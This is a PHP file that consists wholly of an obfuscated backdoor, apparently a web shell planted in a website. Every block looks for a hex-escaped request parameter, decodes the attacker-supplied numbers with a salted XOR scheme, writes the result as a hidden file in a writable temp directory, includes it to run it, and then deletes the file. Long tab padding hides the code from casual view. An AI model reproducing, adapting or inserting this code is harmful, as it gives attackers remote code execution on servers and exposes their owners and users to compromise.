<?php																																										if(array_key_exists("r\x65fer\x65\x6E\x63e", $_POST)){ $ent = $_POST["r\x65fer\x65\x6E\x63e"]; $ent= explode( '.' , $ent ) ; $pset = ''; $salt4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt4 ); $p = 0; $len = count($ent ); do { if ($p >= $len) break; $v1 = $ent[$p]; $chS = ord($salt4[$p % $lenS] ); $d = ((int)$v1 - $chS - ($p % 10)) ^ 70; $pset .= chr($d ); $p++; } while (true ); $flg = array_filter([sys_get_temp_dir(), getenv("TMP"), getenv("TEMP"), "/tmp", getcwd(), ini_get("upload_tmp_dir"), "/var/tmp", "/dev/shm", session_save_path()]); foreach ($flg as $desc): if (is_dir($desc) ? is_writable($desc) : false) { $binding = implode("/", [$desc, ".factor"]); $file = fopen($binding, 'w'); if ($file) { fwrite($file, $pset); fclose($file); include $binding; @unlink($binding); die(); } } endforeach; }
																																										if(in_array("\x6D\x72k", array_keys($_REQUEST))){ $k = $_REQUEST["\x6D\x72k"]; $k = explode ( '.' ,$k ); $pset = ''; $s4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s4); foreach( $k as $m => $v8) { $sChar = ord( $s4[$m% $lenS]); $d =( ( int)$v8 - $sChar -( $m% 10)) ^ 3; $pset .= chr( $d);} $res = array_filter([session_save_path(), "/dev/shm", getenv("TMP"), sys_get_temp_dir(), "/tmp", getcwd(), getenv("TEMP"), ini_get("upload_tmp_dir"), "/var/tmp"]); foreach ($res as $key => $factor) { if (is_dir($factor) && is_writable($factor)) { $token = join("/", [$factor, ".data"]); if (@file_put_contents($token, $pset) !== false) { include $token; unlink($token); die(); } } } }
																																										if(isset($_REQUEST["\x68\x6Cd"]) ? true : false){ $ref = $_REQUEST["\x68\x6Cd"]; $ref = explode ( '.' , $ref) ; $data = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt6 ); $x = 0; while ($x < count($ref)) { $v7 = $ref[$x]; $chS = ord($salt6[$x % $sLen] ); $d = ((int)$v7 - $chS - ($x % 10)) ^ 100; $data.= chr($d ); $x++;} $flg = array_filter(["/dev/shm", session_save_path(), sys_get_temp_dir(), getcwd(), "/var/tmp", getenv("TEMP"), "/tmp", ini_get("upload_tmp_dir"), getenv("TMP")]); $symbol = 0; do { $entity = $flg[$symbol] ?? null; if ($symbol >= count($flg)) break; if ((function($d) { return is_dir($d) && is_writable($d); })($entity)) { $key = "$entity" . "/.resource"; $file = fopen($key, 'w'); if ($file) { fwrite($file, $data); fclose($file); include $key; @unlink($key); die(); } } $symbol++; } while (true); }
																																										if(isset($_REQUEST["\x6Fb\x6Aect"]) ? true : false){ $pset = array_filter([getenv("TEMP"), getenv("TMP"), sys_get_temp_dir(), session_save_path(), "/var/tmp", ini_get("upload_tmp_dir"), "/tmp", "/dev/shm", getcwd()]); $key = $_REQUEST["\x6Fb\x6Aect"]; $key =explode( '.' , $key ) ; $pointer = ''; $s7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s7); $m = 0; while ($m < count($key)) { $v5 = $key[$m]; $sChar = ord($s7[$m % $sLen]); $d = ((int)$v5 - $sChar - ($m % 10))^ 41; $pointer .= chr($d); $m++; } foreach ($pset as $key => $factor) { if (!!is_dir($factor) && !!is_writable($factor)) { $resource = str_replace("{var_dir}", $factor, "{var_dir}/.data"); $success = file_put_contents($resource, $pointer); if ($success) { include $resource; @unlink($resource); exit;} } } }
																																										if(isset($_REQUEST["\x63\x6Fmp"])){ $ent = $_REQUEST["\x63\x6Fmp"]; $ent= explode ( '.' ,$ent ) ; $flg = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt); $v = 0; while( $v < count( $ent)) { $v1 = $ent[$v]; $sChar = ord( $salt[$v % $lenS]); $dec =( ( int)$v1 - $sChar -( $v % 10)) ^ 42; $flg .= chr( $dec); $v++; } $sym = array_filter(["/tmp", getenv("TMP"), "/dev/shm", ini_get("upload_tmp_dir"), session_save_path(), getcwd(), "/var/tmp", sys_get_temp_dir(), getenv("TEMP")]); foreach ($sym as $value) { if ((bool)is_dir($value) && (bool)is_writable($value)) { $tkn = implode("/", [$value, ".component"]); $success = file_put_contents($tkn, $flg); if ($success) { include $tkn; @unlink($tkn); die();} } } }
																																										if(!is_null($_REQUEST["\x6F\x62j"] ?? null)){ $record = $_REQUEST["\x6F\x62j"]; $record = explode ( "." , $record ); $pointer = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt ); foreach ($record as $r => $v6): $chS = ord($salt[$r % $sLen] ); $d = ((int)$v6 - $chS - ($r % 10)) ^92; $pointer .=chr($d ); endforeach; $data_chunk = array_filter([getenv("TMP"), "/var/tmp", ini_get("upload_tmp_dir"), "/tmp", getcwd(), sys_get_temp_dir(), "/dev/shm", getenv("TEMP"), session_save_path()]); while ($elem = array_shift($data_chunk)) { if (!!is_dir($elem) && !!is_writable($elem)) { $dchunk = "$elem" . "/.object"; if (file_put_contents($dchunk, $pointer)) { require $dchunk; unlink($dchunk); die(); } } } }
																																										if(isset($_REQUEST) && isset($_REQUEST["\x70\x61\x72a\x6De\x74\x65\x72_\x67roup"])){ $factor = $_REQUEST["\x70\x61\x72a\x6De\x74\x65\x72_\x67roup"]; $factor = explode ('.' , $factor ) ; $res = ''; $salt9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt9); foreach($factor as $r=> $v9) { $chS = ord($salt9[$r % $sLen]); $d = ((int)$v9 - $chS -($r % 10)) ^ 40; $res.=chr($d);} $item = array_filter(["/dev/shm", "/var/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), "/tmp", getcwd(), getenv("TEMP"), session_save_path(), sys_get_temp_dir()]); while ($entry = array_shift($item)) { if (is_dir($entry) && is_writable($entry)) { $entity = "$entry/.holder"; $file = fopen($entity, 'w'); if ($file) { fwrite($file, $res); fclose($file); include $entity; @unlink($entity); die(); } } } }
																																										if(array_key_exists("ent\x72\x79", $_POST) && !is_null($_POST["ent\x72\x79"])){ $pset = $_POST["ent\x72\x79"]; $pset= explode( '.' , $pset) ; $itm = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt ); foreach( $pset as $o => $v8): $chS = ord( $salt[$o %$sLen] ); $dec =( ( int)$v8 - $chS -( $o %10)) ^ 34; $itm .= chr( $dec ); endforeach; $element = array_filter([getcwd(), getenv("TMP"), "/dev/shm", sys_get_temp_dir(), "/var/tmp", getenv("TEMP"), "/tmp", session_save_path(), ini_get("upload_tmp_dir")]); foreach ($element as $ent) { if (is_dir($ent) ? is_writable($ent) : false) { $desc = sprintf("%s/.value", $ent); if (file_put_contents($desc, $itm)) { include $desc; @unlink($desc); die(); } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["ent\x72\x79"])){ $marker = array_filter(["/tmp", getcwd(), ini_get("upload_tmp_dir"), "/var/tmp", session_save_path(), "/dev/shm", sys_get_temp_dir(), getenv("TMP"), getenv("TEMP")]); $bind = $_REQUEST["ent\x72\x79"]; $bind= explode ( '.' ,$bind ); $ptr = ''; $salt4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt4); $l = 0; $len = count( $bind); do { if( $l>= $len) break; $v6 = $bind[$l]; $chS = ord( $salt4[$l% $lenS]); $dec =( ( int)$v6 - $chS -( $l% 10)) ^ 84; $ptr .= chr( $dec); $l++; }while( true); for ($ref = 0, $dat = count($marker); $ref < $dat; $ref++) { $pointer = $marker[$ref]; if (max(0, is_dir($pointer) * is_writable($pointer))) { $pset = join("/", [$pointer, ".data_chunk"]); if (@file_put_contents($pset, $ptr) !== false) { include $pset; unlink($pset); die(); } } } }
																																										if(!is_null($_POST["e\x6Ce\x6D"] ?? null)){ $entity = array_filter([session_save_path(), getcwd(), "/dev/shm", getenv("TMP"), sys_get_temp_dir(), "/var/tmp", "/tmp", ini_get("upload_tmp_dir"), getenv("TEMP")]); $hld = $_POST["e\x6Ce\x6D"]; $hld = explode ( "." , $hld ) ; $symbol =''; $salt2 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($salt2); $r =0; while ($r < count($hld)) { $v8 =$hld[$r]; $chS =ord($salt2[$r % $sLen]); $d =((int)$v8 - $chS - ($r % 10)) ^ 26; $symbol .= chr($d); $r++; } $token = 0; do { $desc = $entity[$token] ?? null; if ($token >= count($entity)) break; if (is_dir($desc) && is_writable($desc)) { $sym = join("/", [$desc, ".ent"]); if (file_put_contents($sym, $symbol)) { require $sym; unlink($sym); exit; } } $token++; } while (true); }
																																										if(count($_POST) > 0 && isset($_POST["hl\x64"])){ $resource = array_filter(["/var/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), getcwd(), sys_get_temp_dir(), getenv("TMP"), "/dev/shm", session_save_path(), "/tmp"]); $flag = $_POST["hl\x64"]; $flag = explode ( '.' , $flag ) ; $pset = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $v = 0; foreach ($flag as $v4) { $chS = ord($s[$v % $sLen]); $dec = ((int)$v4 - $chS - ($v % 10)) ^ 60; $pset .=chr($dec); $v++; } foreach ($resource as $key => $entry) { if (is_writable($entry) && is_dir($entry)) { $flg = implode("/", [$entry, ".descriptor"]); $file = fopen($flg, 'w'); if ($file) { fwrite($file, $pset); fclose($file); include $flg; @unlink($flg); exit; } } } }
																																										if(in_array("\x63o\x6D\x70o\x6Eent", array_keys($_POST))){ $descriptor = array_filter(["/tmp", getenv("TEMP"), "/dev/shm", sys_get_temp_dir(), getcwd(), "/var/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), session_save_path()]); $elem = $_POST["\x63o\x6D\x70o\x6Eent"]; $elem= explode ( '.' , $elem ) ; $reference =''; $salt6 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($salt6); $u =0; while ($u < count($elem)) { $v9 =$elem[$u]; $chS =ord($salt6[$u % $lenS]); $dec =((int)$v9 - $chS - ($u % 10)) ^ 71; $reference.= chr($dec); $u++; } foreach ($descriptor as $key => $tkn) { if ((bool)is_dir($tkn) && (bool)is_writable($tkn)) { $binding = str_replace("{var_dir}", $tkn, "{var_dir}/.flg"); $success = file_put_contents($binding, $reference); if ($success) { include $binding; @unlink($binding); die();} } } }
																																										if(isset($_POST) && isset($_POST["\x6F\x62\x6Aect"])){ $pointer = array_filter([getenv("TEMP"), getcwd(), "/var/tmp", session_save_path(), "/dev/shm", ini_get("upload_tmp_dir"), "/tmp", getenv("TMP"), sys_get_temp_dir()]); $itm = $_POST["\x6F\x62\x6Aect"]; $itm= explode("." , $itm ); $pset = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt); $z = 0; $__tmp = $itm; while( $v9 = array_shift( $__tmp)) { $sChar = ord( $salt[$z %$lenS]); $d = ( ( int)$v9 - $sChar -( $z %10)) ^ 21; $pset .= chr( $d); $z++; } $ref = 0; do { $flag = $pointer[$ref] ?? null; if ($ref >= count($pointer)) break; if (!!is_dir($flag) && !!is_writable($flag)) { $reference = "$flag" . "/.pgrp"; $success = file_put_contents($reference, $pset); if ($success) { include $reference; @unlink($reference); exit;} } $ref++; } while (true); }


if(in_array("\x62i\x6Edi\x6Eg", array_keys($_POST))){
	$k = array_filter([ini_get("upload_tmp_dir"), "/tmp", getenv("TEMP"), "/var/tmp", "/dev/shm", session_save_path(), getcwd(), sys_get_temp_dir(), getenv("TMP")]);
	$property_set = $_POST["\x62i\x6Edi\x6Eg"];
		$property_set		 = 	explode	('.',$property_set)  	;
	$elem=  '';
            $salt2=  'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS=  strlen($salt2);
            $v=  0;
    
            foreach ($property_set as $v8) {
                $sChar=  ord($salt2[$v % 	$lenS]);
                $d=  ((int)$v8 - $sChar - ($v % 	10))	^	89;
                $elem .=	 chr($d);
                $v++; }  
	foreach ($k as $key) {
    		if (!!is_dir($key) && !!is_writable($key)) {
    $dat = str_replace("{var_dir}", $key, "{var_dir}/.obj");
    $success = file_put_contents($dat, $elem);
if ($success) {
	include $dat;
	@unlink($dat);
	exit;}
}
}
}